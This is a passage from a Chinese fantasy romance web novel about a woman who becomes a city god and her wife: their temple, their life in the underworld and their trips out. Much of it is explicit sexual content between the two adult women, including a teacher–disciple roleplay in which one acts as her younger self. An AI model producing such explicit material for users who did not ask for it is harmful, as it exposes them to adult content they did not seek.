帖子在本地年轻人间引发议论,城隍庙位于市里,交通便利,对于上班族来说就是顺路的事,不断有人表示自己拜城隍得到好运。比如说收到offer,升职加薪,家人手术平安,抢到演唱会门票 有人专门到城隍庙抽卡,一发出金。等等不一而足。帖子的回帖过万,热度还在不断上升。 【我靠真的假的,我必须要去!我妈妈刚好住院了,求城隍保佑我妈妈顺利康复】【信则有不信则无,姐妹们冲!一起发财!】【四点下班的已经冲了[城隍庙前合影打卡照】【我现在就在城隍庙里,分享我刚抢到的演唱会门票,嘻嘻附图】【300万人想看你也能抢到???城隍帮你作弊了吧!】【犹豫就会败北,玄学不得不信,冲啊家人们】 年轻人蜂拥涌入城隍庙,烧香拜神,傅城隍自然不会有求必应,但幸存者偏差,已经是不小的群体,帮她把城隍庙的名气宣传了出去。半年后,门可罗雀的城隍庙已有不少来往的年轻面孔。 最关键的转折在另一件事。 某个周末。 因为周六日的信众更多,所以傅清微这两天一般不放假,反而要打起双倍精神工作。 城隍庙迎来了女男老少信徒,部分是游客,轮流取了香,在殿外的香炉前朝四方拜了拜,再进入正殿拜城隍。 三支香并拢,躬身下拜。 “啊!” 正在拜城隍的男人手上的三支香齐根而断,点燃的断香刚好落在他的手上,烫得他叫出了声。殿内众人都朝男人望了过去。香断可不是什么好兆头啊,这是求了什么事? 众人本心生同情,却见男人面色慌张,神情惊惧,似乎被吓得不轻,倒退了好几步。奇怪,你要是心里没鬼,怎么会如此恐惧神仙显灵? 男人扭头出了大殿,步履匆匆。 一位娘娘喝道:“拦住他!” 旁边的人也没有问,上去就追,男人拔腿狂奔。 所有人都看到,是大殿前的地砖先动的手,明明都是平地,男人偏偏脚下一绊摔了个狗吃屎,被后来的两位热心群众按在了地上。娘冲出来,说:“鬼鬼祟祟的,先报警!” 男人在地上拼命挣扎,肩膀扣押的力道并不重,可他身上仿佛压了千钧的山岳,动弹不得。他的脸死死压在地面,粗粝的沙石陷进脸颊,抬眼看向正殿柱子的一副楹联:善来此地心无愧,恶过吾门胆自寒!里面端坐的城隍慈悲低眉,却对他露出了一双威严怒目。 你好大胆! 闹哄哄的一阵后,警车停在了城隍庙前,两名警察奔到被按在地上的男人面前,互相对视了一眼,目光诧异。其中一名警察拨了个电话,对对面道:“我们先找到他了,说出来你可能不信,他在城隍庙被按住了,是,我现在带他回局里。”警察也瞧了瞧那副对联,把“真是恶有恶报”几个字咽了回去,她们要客观,不能迷信。警察抬手看表:“10点33分,逮捕凶案嫌疑人。” 另一名警察掏出手铐,把地上的男人双手背过去拷了起来,扣着他的肩膀推进了门口的警车,警笛乌拉乌拉地开往了市局。 围观的所有群众:"!!!" 周六晚,她们在电视和其他媒体上看到蓝底白字的报道:犯罪嫌疑人吴某,杀害妻子,毁尸灭迹,伪造失踪来报案,已依法刑事拘留,案件正在进一步侦查中。当天上午在城隍庙的众人个个绘声绘色,和家人朋友讲述抓凶犯的险情,说到他烧香时香断了烫到手,出门摔了个大马趴,更是精彩绝伦,手舞足蹈,恨不得情景再现。 城隍显灵了! 有人拍了现场视频传上网,鹤市城隍庙一炮而红。 不仅本地人来拜神,外地游客也列入打卡必经之地,城隍庙从此一改衰败,香火鼎盛。幸好今天是工作日,否则穆若水进自己家还要和游客一起排队。戴着黑色口罩的女人跟随人流取了香,来到正殿里。她在神像前手持三支香,心里默念道:“清微,清微。”傅清微含笑的声音传到她的耳边:“干吗?上班时间打扰我工作。” 穆若水心道:“没什么,叫叫你。” 傅清微:“好呀,什么时候下来陪我?” 穆若水:“待会,我再逛逛。” 傅清微:“快点嘛,我好想你。” 穆若水改口:“那……很快。” 傅清微:“再快一点嘛。” 穆若水:“在床上希望你也这么说。” 傅城隍下线了。 穆若水将香插进香炉里,从正殿旁边穿入后殿,旁边的人诧异望了眼这位只点香不拜神的女人。 她的眉眼……怎么看起来有些眼熟? 穆若水来到了后殿,城隍和城隍夫人的神像摆在一起,手牵着手。 当时给她们定制神像的时候,说要相敬如宾一些,傅清微不肯,反正她身为女性城隍,娶了一个妻子,已经是第一个,她就要牵着手。 正殿里慈悲庄严的傅城隍,和妻子并肩站在一起,笑容咧到耳边。 穆若水比她稍好一点,轻轻弯着唇角。 后殿也有许多人来求姻缘,绝大部分是同性,穆若水和一对同性情侣错身而过,由无人的偏殿起居室进入了地府。 傅清微正在前堂和文判官讨论公务,穆若水倒了两杯水过来。 一杯给傅清微,一杯给自己。 文判官:……" 文判官一走,傅清微马上跳到穆若水身上撒娇,穆若水淡道:“她回来了。” 傅清微才不信:“你又骗我。” 她在穆若水脸上啾啾啾亲了好几下,半个多小时没见了。 “老婆香香。” 文判官默默从旁边拿走遗落的公文。 正和穆若水亲热的傅清微:“……. 穆若水:“我跟你说了,你不信我。” 傅清微:“呜呜呜。” 穆若水:“今晚让你当1。” 傅清微眼巴巴:“你可以当小雪吗?” 穆若水回:“想得美。” 她刚尝到甜头,怎么可能那么快让傅清微得逞。 道侣之间,其实无需计较许多,在床上她可以满足傅清微的任何要求,只是 短明之内,快乐的阈值被升得过高,未必对她们的床事有益,循序渐进得好。她们还有浸长的岁月。 另一个重要原因……穆若水才不会承认她还在别扭期呢! 傅清微被抱回椅子里,双手按住肩膀。 “上班吧,城隍大人。” “遵命,夫人。” 临下班前,穆若水又不见了。 傍晚五点,城隍庙的大门缓缓关闭,稀稀朗朗的香客陆续出来,走在最后的是一位年纪约二十岁、大学生模样的女生,墨发过腰,穿一身风衣短靴,乌发秀瞳,极为养眼。周边的路人眼睛直了直,有人拿蠢欲动想上来要联系方式,却在那女生亲密挽上不远处走来的青袍女人的胳膊时扼腕叹息。 正是下班的傅清微和来接她的穆若水。 傅清微封城隍后,长发已黑了回来。可以自由切换,她在地府是白发,凡人时黑发。 上班资历浅,用白发撑场子,人间嘛,年纪轻轻一头白发还是太瞩目了,虽说她二人站一起,身高模样怎么都出众。穆若水手里举着冰激凌,给傅清微咬了一口尖尖。 “今天有没有遇到有趣的事?” “有啊,有个人给我塞了十块钱,求我让他中五百万,哈哈哈。”“那你怎么做的?”“我把他香折了。”“不会有人抓他吧?” “不会的,香落在地上了,没烧到他。” “还有吗?” “有啊有啊,我跟你说………” 傅清微一边吃冰激凌,一边滔滔不绝地讲着,讲到兴起,穆若水还得提醒她冰激凌快化了,她连忙吃两口再继续说。傍晚的晚霞温柔地铺满天空。 街道两旁人流如织,有的人掏出手机拍照,傅清微也举起手机和穆若水合了张影。 “亲一下。” 穆若水的口罩吻在了傅清微脸颊。 两人一步 步寻常路过喧嚣热闹的人间,回到清净安宁的蓬莱。两只小猫正头尾相连地窝在石棺上打盹,棺盖的另一边晒着辣椒。山顶的晚霞比凡间更加绚烂。 傅清微说了一路口渴,回屋喝了杯水,一段非常久远的记忆浮现在她的心头。 —(内裤)都是新的,你洗完澡以后将就先穿穿,你应该看得懂怎么.…穿吧?我见过它怎么脱。穆观主正弯腰在外面逗猫。 “穆若水!” 傅清微忽然从里屋走了出来,一脸严肃地问道:“除了我,你到底还看过谁脱内.裤?!” 169、两颗糖果… 小三花的圆脑袋顶在穆若水的掌心,舒服得呼噜呼噜。 傅清微一声质问,小三花和她的主人一起愣在当场,朝她望过去。 “什么……内裤?”穆若水和傅清微一样记仇,但她只记对自己有利的部分,随口一句久远的事,她怎么记得住。 傅清微帮她回忆完毕。 穆若水哦了一声,说:“除了你,我自己算吗?” “你少蒙骗我!”傅清微暴怒,她一想到有别人被穆若水看过就要气炸了。 百岁女大心理年龄爆减。 穆若水欣赏了好一会儿她吃醋的精彩表情,过会才慢悠悠道:“我骗你干吗?我用纸人看的。” “通五感的纸人?” “不然?” 穆若水解释说:“棺材里第一次见面,你下山,我往你身上放了纸人。一不小心看到了你洗澡,我说一起坐过地铁的人也是你。” 傅清微面露欣喜。 继而睫毛低下来,眼珠慌乱地转了转。 怎么办?她想起来自己也看过穆若水洗澡,当时她还是个少女。 希望穆若水没想到这茬。 虽然穆若水接受了姬湛雪成为她的过去,但是记忆并不是全都恢复了。不像常人那样线性,而是片段式的,一段一段地往里填补。 怕就怕她本来没想起来,傅清微这一问她反倒往日重现 穆若水停顿了几秒,似乎在出神地回忆。“我去看会书。”傅清微借机开溜。 “站住。”淡淡一声。 穆若水在她身后抬起眼帘,道:“要说用纸人偷看,难道不是你先开始的吗?” 傅清微回头:“什么事?为师不记得了。” “温泉,你往我头发里藏纸人。” “我是藏了,但我没看呀。” “你最好是。”穆若水嗤道,“小屁孩的身材有什么好看的。” 姬湛雪也是有病,十四岁露什么?毛都没长齐,不嫌丢人吗? 她一向不能共情小时候的自己。 “就是就是。” 傅清微走回来抱住这个大穆,哄她说:“你身材好,晚上你脱给我看,好不好?” 穆若水:“想得美。” 傅清微叫屈:“说好的今晚我当1呢?” 穆若水:“你刚刚凶我了,你叫我全名,我不高兴。” “我看你就是想作弄我。”昨晚弄得那么过分,她差点死了,爽死的。 “是,谁让我喜欢你呢。” 傅清微一秒喜笑颜开。 躺就躺,能听到情话不亏,神仙日子长得很,早晚有重振师纲的一天。 当夜,傅清微自觉地躺下了,穆若水手肘撑在她枕边,俯身和她缠绵热吻许久,傅清微渐渐地动了情,气息急促。 抓着女人的手往自己身上乱按。 穆若水的体温却远离了她,唇瓣和肌肤分开,傅清微睁开了有些迷离的双眼。 穆若水直起上半身,跪立在她身前。 双手落在自己腰侧的弹性布料边缘,她的动作在傅清微眼睛里一帧一帧地清晰慢放。 穆若水指尖勾着褪下的轻透布料,丢到了床尾。 傅清微喉咙吞咽,吞了一声响亮的口水。 穆若水膝行到她近前,说:“今晚你来。” 傅清微受宠若惊。 “真的吗?” “为师说话算话。” “那白天?” “逗你的。” “谢谢老婆。” “你我之间,何必言谢。”何况是这种事?穆若水被她逗笑。 “我太高兴了嘛。” 傅清微与她只有一小段距离,她干脆没起身,就着躺平的姿势往下滑,抱住女人热情地吻了上去。穆若水猝不及防软了腰,险些整个人跌坐下来,及时用手撑了一下。 “嗯……” 傅清微唇舌并用,在唇瓣边缘扫过几圈,便探入唇缝汲取女人的甘霖。唇与唇之间的热吻,制造出靡靡交缠的水声。穆若水第一次被她这么亲,比从前更快地感受到愉悦,她的唇瓣张开迎合年轻女人深入的舌。轻轻地磨蹭着她的唇,有时激烈会蹭到她的下巴。傅清微扶正了她,好让她们双唇贴得更紧地接吻。 傅清微最后抿了抿她十分明显的唇珠,穆若水在她上方轻轻地发着抖,喊她的名字:“清微……” “我在。”傅清微一下一下用舌尖舔着。 “我……嗯…” 傅清微抬起眼帘看她,因为视野她看不清穆若水的脸,只能听到她颤抖的尾音。 “没关系的,可以交给我。” 傅清微张唇吻住她,穆若水也热烈地回吻,二人说不清谁主动更多一些,屋子里回荡着道侣间的闷哼低吟。 傅清微险些喘不过气,将这个吻进行到底。 穆若水唇珠重重地抵了她几下,倒了下来,傅清微双臂将女人拥进怀里。 “感觉怎么样?” “…困了。” “这么快?” “有点。” 穆若水似乎体会到了傅清微为什么总是想睡觉,不是真的困,是大脑皮层在这种快意中兴奋过度,无力支撑,反馈给神经未梢该睡觉的信息。 “那你睡吧。”傅清微不像穆若水性格那么恶劣,妻子说困,那就可以睡了。"小猫咪不要吗?"“小猫咪有的是机会当0。”“好吧。”穆若水合上了眼帘。 彻底睡着之前,她感觉得到傅清微一直在深深浅浅地吻她的唇。 傅清微伏在她耳边道:“我今天很高兴,因为你……” 后面的话不堪入耳,不听也罢。 “好棒啊宝宝。” “刚刚忘记让你看我的脸了,都是你的。” “没关系,我们还有下次。” 傅清微对着“睡了”的穆若水碎碎念,穆若水有一搭没一搭地听着,唇角无声地勾了起来。 快乐是相互的,谁又会不喜欢满足自己的亲密爱人呢? 傅清微因为穆若水进步巨大的表现兴奋了好半天,才抑制住亢奋的大脑勉强睡了过去。 梦里都是睡前的场景。 师尊,小猫咪,嘿嘿。 清早,穆若水站在床沿看她眉梢舒展,春风满面,即使睡梦里也在笑。 穆若水吻醒了睡美人。 傅清微坐起来,衣来伸手地张开双臂,穆若水一边给她穿衣服,一边问道:“做什么梦这么开心?” “梦见我当1。” “你就这点出息?” “不止。”傅清微伸出一根食指摇了摇,“梦见你自己动。” “…那你还是继续做梦吧。” 穆若水把薄外套轻轻甩在她身上。 傅清微才不悲观,迟早的事。千千万万年,她还等不到师尊变成什么好什么多的小猫咪? 在此之前,她要先吃一口雪糕。 小雪的高,好烂的谐音梗。 傅城隍入了地府,换上绯袍玉带的常服,青丝成雪,端坐在城隍衙门办公。 穆若水在一边支了张桌子看闲书。 古今中外的话本小说,除了正经书,什么都看。 看累了去地面走走晒晒太阳,体察城隍庙的民情,或者傅清微想吃什么小吃了,她去人间给她买来。 有时干脆在后殿起居室睡觉,等傅清微下班把她叫醒。 穆若水趴在桌子上睡着了,脸枕在书里。 傅清微蹑手蹑脚走到她身边,弯腰看她。 虽然人长了一百多岁,睡觉的姿势和四五岁时毫无区别。 除了不会流口水以外。 傅清微确认神出鬼没的文判官不在,飞快地女人脸颊亲了一口。 穆若水摸了摸软热的脸颊,坐起来,从容不迫。 “下班了?” “没,陪我去忘川捞个人。” 下班前俩小时,傅清微和穆若水的身影出现在了忘川河边,目之所及的尽头是奈何桥,等待轮回的灵魂排成长龙。 她们是来找杜昔言的。 傅清微刚就任城隍不久,问了杜昔言的投胎情况,轮回司回禀需排队二十年。如今城隍庙香火鼎盛,她也算坐稳了位子,可以光明正大给自己招个文书了。 轮回司副司使听到属下来报,连忙从当差部门出来,一路小跑到傅清微面前,正了正官帽。 “大人有何吩咐?” “本府要提一个叫杜昔言的鬼魂,家住苏州府,请她跟我回衙门。” “你告诉我在哪儿,我亲自看看。” 在副司使的指引下,傅清微见到了队伍里的杜昔言,一身白衣,正望着奈何桥的方向,面容清秀平和。 “杜小姐。” 杜昔言回头,见到一位身穿大红官袍的女子,玉带皂靴,和她年轻面孔相反的是满头的白发,不显沧桑,别有出尘气质。杜昔言怔住:“你不是阿絮的…….” 傅清微淡淡-笑。 杜昔言听说傅清微要她当城隍文书,帮她处理公务,二话不说便同意了。至于傅清微如何一年从女大变成城隍,说来话长,不提也罢。傅清微:“杜小姐,你还是想等她吗?” 杜昔言点头。 她以为此生一别,阴阳永两隔,假若还有再见的机会,她一定会再见阿絮一面,哪怕又要等几十年。 她已经习惯等待的滋味。 傅清微:“对了,有一件事我忘记告诉你。” 杜昔言:“大人请说。” “私底下就不必称大人了,你和甘棠都比我大,你叫我名字就行了。” “小傅……大人。” 真古人就是这么死板。 傅清微道:“你走以后,甘棠大病一场,神魂重创,痛不欲生,我与夫人才知,原来当年你死之后,她也没有去投胎,而是在奈何桥前等了你三百年,她没有等到你。” 傅清微接任城隍后,查地府的轮回簿证实了这个猜测。 甘棠就是柳小姐的第一世。 她大约是等到忘记了为什么在等,终于踏上了轮回。 才有了下一世和杜昔言的重逢。 杜昔言垂眸,说:“三百年,对她来说太苦了。你不知道,她最讨厌无趣了,让她整日做一件事,她会发疯的。” “是我的错。”杜昔言睫毛下的眼泪掉得汹涌。 傅清微顺手从穆若水衣袖里摸出一包纸巾递给了她。 “会好起来的。” 穆若水:“……. 安顿好了杜昔言,傅清微最后一件心事也算了却一半。只等甘棠也下来了,且等。 生死簿记载甘棠上辈子早死,这一世能活九十多,寿终正寝。 七十来年。 对如今的傅穆二人弹指一挥间,于人类却是波澜壮阔的一生。 岁月虽漫长,每一个弹指傅清微都过得饱满充实,下班之余和穆若水四处走走逛逛,她治下的每一寸土地都熟记于心。 休假时二人有时窝在蓬莱观,有时出远门旅行,第一趟去了沪城,故地重游。 穆若水经年再回来,对科技馆和天文馆感兴趣,百岁女大傅清微生疏地掏出手机预约参观:本周预约全部已满! 傅清微:“……. 下次来一定做好攻略。最后两人买了两张舞剧票进了遍地可见的剧场。傅清微虽入职地府,穆若水却拿着灵管局的顾问津贴,岁已寒给她申请了双倍,懂的都懂。总之二人从未打过这么富裕的仗。 傅清微看不大懂,看个热闹也开心,谢幕鼓掌的时候,穆若水凑到她耳边道: “我以前不是喜欢看电影,只是想能够和你坐得那么近,我很高兴。” 观众的鼓掌声很热烈,傅清微还是听清了她说的话。 穆若水坐在剧场里,无端想起了她当时还是姬湛雪时的心情,胸腔盈满酸涩。 傅清微手伸过来,覆在了她的手背。 出了剧场,两人手牵手沿江边散步回酒店,就像一对普通的情侣。 傅清微走着走着,越来越往里,快贴到边上的栏杆,她说:“你知道吗,这在行为心理学上,是你超爱我的表现。” “是,我超爱你。”穆若水偶尔也会配合她。“怎么这么听话啊?”傅清微停下来双手揉她脸。“适可而止。”傅清微摸够了,贴着她的唇飞快亲了一口。 “走,我们快回酒店。“ 穆若水一看她火急火燎就知道她打什么主意,果然一进门就被推在了门后,炽热的唇舌欺了进来。傅清微才是真的爱惨她了。 每天上班都见面,一会看不到就要找她,每天都要接吻,再有空就要做爱,粘人精。好在穆若水喜欢。 深夜,傅清微从她身下游上来,亮晶晶的暖唇来吻她,撒娇求道:“你真的不能当一回小雪吗?” “行啊。” “好不好嘛?”傅清微在她颈窝蹭来蹭去,突然抬起头,“你说什么?”“行。”“一言为定!”“有个要求。”“你说。”穆若水点了点自己的唇瓣中央,说:“喂饱我。”傅清微喜不自胜,把自己捧过来。穆若水摇头:“不是这样喂。”“那是怎么?”“坐上来。”“……” 傅清微咬了咬牙,起身慢慢坐起来,膝行过去。 穆若水鼻尖陷进她柔软的皮肤,说话间的热气呼在年轻女人湿润翕张的唇瓣。 她勾起了唇,说: “一百次。” 170、三颗糖果… 穆若水舔了舔滴到唇边的水。 傅清微发颤的声音从上方传出来:“该不会要一次性付清吧?” 好过分。“不是。”“…”“晚安。” 她的脑袋在想些什么? 穆若水陷入诡异的沉默。 “如果你可以的话…….” “我不可以!我拒绝!”傅清微提高声音说。 一次性付清一百次,城隍也会死神的。 穆若水假意退让:“那你分期好了。” “一夜要付多少?” “看你自己,什么时候结清一百次,什么时候兑现。” “好过分啊,一定要这样吗?” “你也会很快乐,不是吗?” “只有坐上来的计入次数?” “当然。仅限这一种。”其他的有其他兑换,虽然她还没想好,但仅仅畅想就妙趣无穷。 傅清微就知道! 没那么好过关。 穆若水仰头问:“准备好了吗?今晚打算付多少?” 傅清微心里发虚:“先看看吧,我不知道自己的实力怎么样。”上一回她抱着穆若水在下方亲她,是第一次尝试,轮到她自己还没试过呢。 以她的体质,非常难说。 穆若水润了润自己的唇瓣,诱哄说:“要来了。” 女人呼吸的热气扑洒在傅清微紧张的双唇上,在她面前闭了闭,门关自觉地咬紧了些。 些许低喘自傅清微唇齿间溢出来。 穆若水莞尔:“我难道只是看着也能让你…….” 傅清微打断:“闭嘴。” 她身体前倾,主动压上了女人调戏她的双唇,唇瓣来回磨蹭拉扯,东倒西歪,穆若水被她堵得无法呼吸。 幸而她不需要。 穆若水也依样画葫芦地抱住了她,卖力地和她接吻,唇与舌各司其职。接吻的水声缠绵阵阵。合着女人的吞咽声。 傅清微的十指本来探进了穆若水浓密的墨发里,轻轻梳理她的长发,没多久坚持不住地支撑着自己。 "师尊……嗯……若水……" 她脆弱的双唇被女人含着,肆意捉弄,探入,勾连,嬉戏。胸腔越来越满,身体各处也越来越满。她的力气流失得前所未有的迅速。就在她要倒下来时,穆若水的手扶在她的侧腰上,稳住了她。 “宝贝……”穆若水亮晶晶的唇瓣与她分离,短暂地呢喃了一声,如饥似渴地继续吻了上去。 傅清微的唇缝间闯入的不是舌尖,而是一头猛兽。 她的牙齿不经意撞了上来,傅清微吃痛之余,滋生出隐秘的更强烈的欢喜。 傅清微也扶正了女人的脑袋,用自己热情的唇去回吻她。 “师尊……师尊…”她剧烈地喘着气,肺部的空气窒息得快爆炸,她的唇抵着她柔软的唇舌不放地碾磨。 穆若水无暇去应她。 因为彼此吻得、纠缠得太深了。 她只能随着傅清微的节奏,去探索更深的边境。 “若水——”傅清微的哭音尖锐地响起。 “乖,我在。”穆若水松开又吻住,牙齿轻轻噬咬她敏感的唇珠。 “不要……” “好。”穆若水换成温柔的舌,动作却比方才快了数倍,这次换成她抵住傅清微不放了。 舌尖在唇珠跳舞。 傅清微的心脏在轰鸣,血液奔涌,抽抽噎噎地压着女人使坏的唇狠狠地磨了几下,紧紧地咬住她作乱的舌头。 穆若水亲不了她了,只好静下来,等她缓慢平复。 傅清微:“呜呜呜。” 穆若水抬手给她擦眼泪:“怎么又哭了?” 傅清微:“我真的不行。” 穆若水:“你行的,你看我的脸多水润,面膜很好,再敷一次?” “不好呜呜呜。” “那做手膜?” “…可以。” 穆若水抱着她哄了好半天,傅清微才停了眼泪,乖乖地给女人做手指保养,手部护理。 穆若水保养右手的时候,左手二指强势探入傅清微的口中,傅清微出不了声,眼角的泪水又出来了。 很难不怀疑她有泪失禁体质。 只在面对穆若水时生效。 穆若水一边抚弄她的唇瓣,一边吻去她的眼泪,不住地怜爱道:“好乖。” 她咬一口傅清微的耳朵,说:“怎么办宝贝?你哭得我好舒服。” 傅清微:“你好变态。” “你也不是第一天知道。”穆若水大拇指在湿粘唇瓣外面打着转,配合她另外的手指。 傅清微只能一边咬她的手指一边哭得更惨烈。 弄得到处都是。 最后收手是因为想起在酒店,而不是蓬莱,虽然开了隔音结界,但一堵墙之外就是隔壁房间,二人都自觉收敛了一些。 穆若水喝掉她所有动情的泪、水,将蜷缩起来的傅清微搂进怀里,贴着她的后背,手臂拥在她前方。 傅清微这个时候喜欢她从背后抱自己,完完全全在女人怀抱里,很有安全感。 一般穆若水在她休息完后会顺手从后面欺负她,但今日到此为止。 傅清微还在哭,眼泪都落穆若水手上了。 “怎么了?”穆若水不解,温柔地问道,“是我太过分了吗?哪里不喜欢我会改。” 傅清微哽咽说:“是我太没用了。” “你怎么会没用呢?我喜欢你如此。” 傅清微却悲从中来:“这样下去我什么时候能付清一百次?” 傅清微久久听不到身后的回答,不仅如此,穆若水仿佛离她远了些,都没有严丝合缝地抱着她了,背后空荡荡。 回头一看,穆若水正躲在黑暗里忍笑,胸腔一震一震。 傅清微:“……你还是人吗?” 穆若水:“虽然你在骂我,但我确实不是。” 傅清微:“嘤嘤嘤。” 穆若水抱住她:“乖,慢慢来,迟早能结清的。” “我以为你见我哭,会心软给我打个折。” “我没有心。” “我也不想做人了。” “那你就好好当小猫咪吧。” “我偏不。”傅清微说,“我立志,要重振师纲!” “你什么时候立的这个志?”穆若水惊讶。 不小心说出了心里话的傅清微:……" 穆若水:“既然如此,两百次。” “奸商啊你,坐地起价!” “你坐脸可以抵消,公平。” “你也不怕鼻梁被我磨平了。” “哈哈哈。” 傅清微再说下去不知道要涨到多少,干脆闭麦睡觉。 穆若水的手伸过来,将傅清微的脑袋往下按了一点,捧起自己喂进她嘴里。 傅清微含混动动唇:“…晚安。”这让她怎么睡得着?傅清微抿了抿唇,慢慢地睡了过去。 翌日被妻子特有的叫早服务叫醒。 傅清微昏昏沉沉地醒过来,阳台的纱帘被风卷起,地板上一条一条的光带在眼前不规律地晃动。 傅清微也晃动了许久。 她起身披上睡袍进浴室,回头时穆若水正在一丝不苟地穿衣服,内衣、衬衫,应季的蓝色长风衣,微仰下巴,露出精致的下颚线。 我超爱。确实大了。*开始! 酒店顶层的阳光照在她半边脸颊,完美的容颜和身材,整个人都闪闪发亮。 傅清微:“.…. 原本的一点点埋怨荡然无存,险些折返勾引女人到旁边的长沙发上继续。 傅清微关上门,在洗手间的镜子前褪下雪白珠光睡袍。 师尊言而有信。 在沪城住了三天两晚,两人意犹未尽,白天流连忘返,夜里爱不释手。蓬莱观的条件还是太简陋了,连张沙发都没有,只有坚硬的实木桌椅,跪着膝盖疼。 人尚且在返程路上,为了满足傅清微的需求,穆若水下了两单买沙发的快递。 一单是人间的占英,让灵管局送上山。 一单酆都快递,送到城隍衙门后殿的起居室。 到货的当晚傅清微就跪了,体验五星好评,穆若水更是给出了六星。 某天中午十二点前。城隍庙大殿前站了二十来个捧着手机的年轻人,屏幕停留在统一的演唱会抢票界面。其中有一位墨发青袍,面容姣好,戴黑色口罩也掩饰不了她清丽标致的眉眼,聚精会神地盯着手机。抢票倒计时:00:00:01 二十个人同时点击屏幕,不停地点点点点点。 “抢到了!”的欢呼声此起彼伏,至少有一半人进殿给傅清微又烧了一炷香,心满意足地离开了城隍庙。 穆若水铩羽而归,杀进地府,给她看自己的又一败绩! “我没抢到!” “乖,下次一定。”傅清微搁下朱笔,特意过来安慰她。 “凭什么,我和你关系不是最好的吗?你只给别人加好运buff!” 这个问题傅清微上次已经解释过了。 地府有功过簿,和生死簿性质差不多,只记活人(和其他物种)的功德过失。穆若水自百年前炼尸,长生不老,永不入轮回,已不在地府管辖之内,她管不到她嘛。生死簿都除了她的名,她区区一城隍,焉能改动她的命格,连运气也不行。 傅清微:“要不让占英给你代抢?”穆若水:“我就要自己抢。”打小是个犟种。傅清微不理解:“你怎么会抢不到票呢?”白瞎在她身上练的手速了。穆若水指尖灵活摆弄手机:“看来得再练练手。” “哦。”傅清微:“.….”所以我爱你。罕见的小鸟依人。“能不能接吻?” ".…你是不是故意在这等我?"“我说的是抢票,你在想什么?”“你心里清楚。”傅清微瞧了瞧空荡荡的门外,低声说,“以后下单情趣用品,记得隐藏商品信息,都发我手机上了。” 穆若水说:“第一次没经验,下次一定。” 傅清微也不打算在衙门问她这些,回去好好“审问”她。 经历数次练手,穆若水终于成功抢到两张Cyndi演唱会看台的门票,周六那天 傅清微五点下班,从专属停车位开出自己的车,猪肝红的车道堵了一路,终于停进了1公里开外的停车场,步行过去。 沿路的演唱会周边、小吃摊位,化应援妆的年轻人络绎不绝。 傅清微和穆若水手牵着手,道:“好青春啊,感觉自己回到了大学时代。” 穆若水憋了半天,说:“感觉回到了自己刚进棺材的时候。” 宁愿进棺材卡bug也不愿意当小雪捏。 傅清微:“小吃吃不吃?” “你想吃的话我和你一起。” 傅清微买了红豆馅的车轮饼,咬了一口豆沙不甜,才递给穆若水。 穆若水就着她的手吃了,弯起眼睛。 傅清微忍俊不禁:“你好可爱啊。” 穆若水吃完戴上口罩,低声传出来一句:“你也是。” 两人还是不习惯人多,排队进场时离人家远远的,活像一对社恐情侣。 坐到座位里,被热闹熟悉的氛围感染,傅清微很快就习惯了,穆若水的身体倾斜,几乎靠在她的怀里。 傅清微口罩凑近她耳边道:“你待会要是不舒服,可以摘口罩亲我脖子,我会用神力干扰,她们看不到我们在做什么。” “啊?大庭广众…”傅清微害羞。“逗你的。”“哦。”傅清微失落地把话咽了回去。灯光全暗,粉色蛋糕出现在舞台,演唱会的主人正式登场。傅清微一只手揽着穆若水的肩膀,另一只手挥舞着应援棒,穆若水起初只觉得吵闹,看着傅清微明快的侧脸,渐渐地有了兴趣,将注意力投向舞台。舞台美轮美奂,女人在台上又跳又唱,赏心悦目。中间有个恋爱甜歌环节,将镜头转向全场观众,扫到哪对情侣就会配合地接吻。 傅清微忽然看到屏幕上映出自己和穆若水的脸。 她愣了一下神,刚慢半拍地扭过脸,穆若水已精准无比地隔着口罩吻在她唇上。 场内瞬间爆发潮水般的尖叫。 散场回去的路上傅清微的脚步都有点发飘,靠在穆若水身上跟喝醉了似的。 “开心。”她夜色中往前蹦了一步,说。 “嗯。”穆若水拿出手机,默默预约下一场演唱会观演。傅清微有好几个喜欢的女歌手,鹤市又是西南文娱中心,或许她们可以多试试别的娱乐方式。穆若水对人类的气息已经没那么反感了,因为她爱的是个人。即使成神,她也爱这个人间。就像曾经无情的姬湛雪长出慈悲,穆若水的情根会在漫长岁月里再一次生长完全。重新热爱她所在的世界。 一百次分期付清,傅清微夜结一次,再多就要死了,偶然加班只能延后。在傅清微锲而不舍的坚持下,一年后,终于向穆若水兑换成功。 她要吃雪糕,扒开大吃特吃!吃干抹净!重振师纲! 穆若水:“行,满足你。” 傅清微如狼似虎扑了过来。 穆若水一根手指抵住她的唇,道:“不过,你打算怎么让我当小雪?我可回不到当年的心境。” 傅清微:“…….” 经历了一夜的苦思冥想后,两人商量出一个办法,全票通过。 翌日早。 傅清微先醒过来,伸手轻轻地抚摸女人的长发。 穆若水睡了长长的一觉,睁开眼睛,看见傅清微躺在她的枕边,衣衫不整,惊慌失措地从床沿滚了下来。 "师、师尊?你怎么会在我床上?!" 171、四颗糖果… “2033年?我失忆了?”穆若水在院子里,傅清微站在她对面,说了现在的事。 “我和师尊现在的关系是……” 傅清微伸手撩开她的衣领,让她看锁骨上自己昨夜留下的吻痕,一笑道:“是道侣。” 一觉醒来,美梦竟成真? 穆若水:“师尊,我看不到。” 傅清微搂过她的腰,唇瓣压上来,锁骨薄薄的皮肤传来刺痛,傅清微舌尖舔了舔新鲜红印:“感受到了吗?” 穆若水足底发飘,呆呆地回道: “感受到了。” “很乖。”傅清微手臂在她腰间搂了又搂,道,“小腰真细,好好保持,晚上扭给为师看。” 说完又在她臀后拍了一把,朗声大笑回屋。 留下欣喜若狂又脸红窘迫的穆若水在原地。 师尊……怎么变得如此轻佻了? 穆若水抬起脸看向屋子,傅清微哪舍得错过她的表情,正趴在窗前看她呢。 穆若水:“…….” 她背身闷头往厨房走:“我去做饭。” 傅清微默默反思了一秒自己:会不会太孟浪了? 可良机只有一次,时不再来,下次再让穆若水答应可没这么容易了。说不定要五百次,一千次,腰都要坐断了。 不管,先爽了再说,管她崩不崩人设。 穆若水做的是早餐,好久没吃早餐了,傅清微溜进厨房,从背后抱住穆若水。穆若水吓了一跳:“师、师尊?”傅清微贴在她耳边,呵气如兰:“在想什么?这么慌张?”穆若水紧了紧手里的锅铲,道:“在想、想师尊。”“想我什么?”“想这些年发生了什么,我们是怎么变成道侣的。”“还有呢?”“昨天晚上…” 刚刚穆若水拉开衣服看了看自己,胸口满是斑驳的痕迹,她还没学到这步,隐约猜到是怎么造成的。 她宽松的袖子滑落到肘弯,小臂内侧也有女人留下的吻痕。 方方面面。 想必那里也…… 她怎么失忆把这些也忘了呢? 今晚师尊让她扭给她看,是她想的那个意思吗? 